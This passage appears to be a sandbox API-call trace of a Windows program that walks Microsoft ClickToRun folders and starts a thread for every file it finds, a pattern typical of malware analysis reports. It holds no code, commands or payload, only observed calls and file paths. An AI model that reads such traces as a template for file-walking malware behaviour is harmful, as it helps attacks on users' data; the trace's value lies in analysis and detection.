lpStartAddress=0x32077a0, lpParameter=0x348af68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x74c [0077.844] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x342cf28 | out: lpFindFileData=0x342cf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfe714e00, ftLastWriteTime.dwHighDateTime=0x1d0d7e7, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0077.844] FindClose (in: hFindFile=0x3433e68 | out: hFindFile=0x3433e68) returned 1 [0077.845] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf28) returned 1 [0077.845] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431640) returned 1 [0077.845] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e35f0) returned 1 [0077.845] RtlExitUserThread (Status=0x0) Thread: id = 644 os_tid = 0x910 [0074.565] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x34291c0 [0074.565] wcscpy (in: _Dest=0x34291c0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" [0074.565] wcscat (in: _Dest=0x34291c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\" [0074.565] wcscat (in: _Dest=0x34291c0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\*" [0074.566] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342d190 [0074.566] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\*", lpFindFileData=0x342d190 | out: lpFindFileData=0x342d190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ea8 [0074.567] wcscmp (_String1=".", _String2=".") returned 0 [0074.567] FindNextFileW (in: hFindFile=0x3433ea8, lpFindFileData=0x342d190 | out: lpFindFileData=0x342d190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.567] wcscmp (_String1="..", _String2=".") returned 1 [0074.567] wcscmp (_String1="..", _String2="..") returned 0 [0074.567] FindNextFileW (in: hFindFile=0x3433ea8, lpFindFileData=0x342d190 | out: lpFindFileData=0x342d190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x39768000, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x564f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0074.567] wcscmp (_String1="MasterDescriptor.en-us.xml", _String2=".") returned 1 [0074.567] wcscmp (_String1="MasterDescriptor.en-us.xml", _String2="..") returned 1 [0074.567] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x347d7e0 [0074.567] wcscpy (in: _Dest=0x347d7e0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" [0074.567] wcscat (in: _Dest=0x347d7e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\" [0074.567] wcscat (in: _Dest=0x347d7e0, _Source="MasterDescriptor.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml" [0076.627] Sleep (dwMilliseconds=0x1) [0077.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347d7e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x940 [0077.838] FindNextFileW (in: hFindFile=0x3433ea8, lpFindFileData=0x342d190 | out: lpFindFileData=0x342d190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s641033.hash", cAlternateFileName="S64103~1.HAS")) returned 1 [0077.838] wcscmp (_String1="s641033.hash", _String2=".") returned 1 [0077.838] wcscmp (_String1="s641033.hash", _String2="..") returned 1 [0077.839] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc6) returned 0x33f7c98 [0077.839] wcscpy (in: _Dest=0x33f7c98, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" [0077.839] wcscat (in: _Dest=0x33f7c98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\" [0077.839] wcscat (in: _Dest=0x33f7c98, _Source="s641033.hash" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash" [0077.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f7c98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x740 [0077.839] FindNextFileW (in: hFindFile=0x3433ea8, lpFindFileData=0x342d190 | out: lpFindFileData=0x342d190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x3e87ff00, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0077.839] wcscmp (_String1="stream.x64.en-us.man.dat", _String2=".") returned 1 [0077.839] wcscmp (_String1="stream.x64.en-us.man.dat", _String2="..") returned 1 [0077.839] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xde) returned 0x34332f0 [0077.839] wcscpy (in: _Dest=0x34332f0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" [0077.840] wcscat (in: _Dest=0x34332f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\" [0077.840] wcscat (in: _Dest=0x34332f0, _Source="stream.x64.en-us.man.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat" [0077.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34332f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x744 [0077.840] FindNextFileW (in: hFindFile=0x3433ea8, lpFindFileData=0x342d190 | out: lpFindFileData=0x342d190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x3e87ff00, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0077.840] FindClose (in: hFindFile=0x3433ea8 | out: hFindFile=0x3433ea8) returned 1 [0077.841] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d190) returned 1 [0077.841] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34291c0) returned 1 [0077.841] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3480) returned 1 [0077.841] RtlExitUserThread (Status=0x0) Thread: id = 645 os_tid = 0xcb8 [0074.568] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb2) returned 0x3431700 [0074.568] wcscpy (in: _Dest=0x3431700, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" [0074.568] wcscat (in: _Dest=0x3431700, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\" [0074.568] wcscat (in: _Dest=0x3431700, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\*" [0074.568] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342d3f8 [0074.568] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\*", lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ee8 [0074.569] wcscmp (_String1=".", _String2=".") returned 0 [0074.569] FindNextFileW (in: hFindFile=0x3433ee8, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.569] wcscmp (_String1="..", _String2=".") returned 1 [0074.569] wcscmp (_String1="..", _String2="..") returned 0 [0074.569] FindNextFileW (in: hFindFile=0x3433ee8, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x37142600, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5211, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0074.569] wcscmp (_String1="MasterDescriptor.x-none.xml", _String2=".") returned 1 [0074.569] wcscmp (_String1="MasterDescriptor.x-none.xml", _String2="..") returned 1 [0074.569] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe6) returned 0x341da40 [0074.569] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" [0074.569] wcscat (in: _Dest=0x341da40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\" [0074.569] wcscat (in: _Dest=0x341da40, _Source="MasterDescriptor.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml" [0076.627] Sleep (dwMilliseconds=0x1) [0077.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341da40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x93c [0077.834] FindNextFileW (in: hFindFile=0x3433ee8, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s640.hash", cAlternateFileName="S640~1.HAS")) returned 1 [0077.834] wcscmp (_String1="s640.hash", _String2=".") returned 1 [0077.834] wcscmp (_String1="s640.hash", _String2="..") returned 1 [0077.834] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc2) returned 0x33f7af8 [0077.834] wcscpy (in: _Dest=0x33f7af8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" [0077.834] wcscat (in: _Dest=0x33f7af8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\" [0077.834] wcscat (in: _Dest=0x33f7af8, _Source="s640.hash" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash" [0077.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f7af8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738 [0077.835] FindNextFileW (in: hFindFile=0x3433ee8, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0077.835] wcscmp (_String1="stream.x64.x-none.man.dat", _String2=".") returned 1 [0077.835] wcscmp (_String1="stream.x64.x-none.man.dat", _String2="..") returned 1 [0077.835] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348ae78 [0077.835] wcscpy (in: _Dest=0x348ae78, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" [0077.835] wcscat (in: _Dest=0x348ae78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\" [0077.835] wcscat (in: _Dest=0x348ae78, _Source="stream.x64.x-none.man.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat" [0077.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348ae78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c [0077.836] FindNextFileW (in: hFindFile=0x3433ee8, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0077.836] FindClose (in: hFindFile=0x3433ee8 | out: hFindFile=0x3433ee8) returned 1 [0077.837] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d3f8) returned 1 [0077.837] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431700) returned 1 [0077.837] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3a40) returned 1 [0077.837] RtlExitUserThread (Status=0x0) Thread: id = 646 os_tid = 0x2d4 [0074.570] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x3429330 [0074.570] wcscpy (in: _Dest=0x3429330, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" [0074.570] wcscat (in: _Dest=0x3429330, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\" [0074.570] wcscat (in: _Dest=0x3429330, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\*" [0074.570] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ef5e0 [0074.570] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\*", lpFindFileData=0x33ef5e0 | out: lpFindFileData=0x33ef5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433968 [0074.571] wcscmp (_String1=".", _String2=".") returned 0 [0074.571] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x33ef5e0 | out: lpFindFileData=0x33ef5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.571] wcscmp (_String1="..", _String2=".") returned 1 [0074.572] wcscmp (_String1="..", _String2="..") returned 0 [0074.572] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x33ef5e0 | out: lpFindFileData=0x33ef5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x39768000, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x564f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0074.572] wcscmp (_String1="MasterDescriptor.en-us.xml", _String2=".") returned 1 [0074.572] wcscmp (_String1="MasterDescriptor.en-us.xml", _String2="..") returned 1 [0074.572] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x33e2008 [0074.572] wcscpy (in: _Dest=0x33e2008, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" [0074.572] wcscat (in: _Dest=0x33e2008, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\" [0074.572] wcscat (in: _Dest=0x33e2008, _Source="MasterDescriptor.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml" [0076.627] Sleep (dwMilliseconds=0x1) [0077.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e2008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x958 [0077.819] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x33ef5e0 | out: lpFindFileData=0x33ef5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, 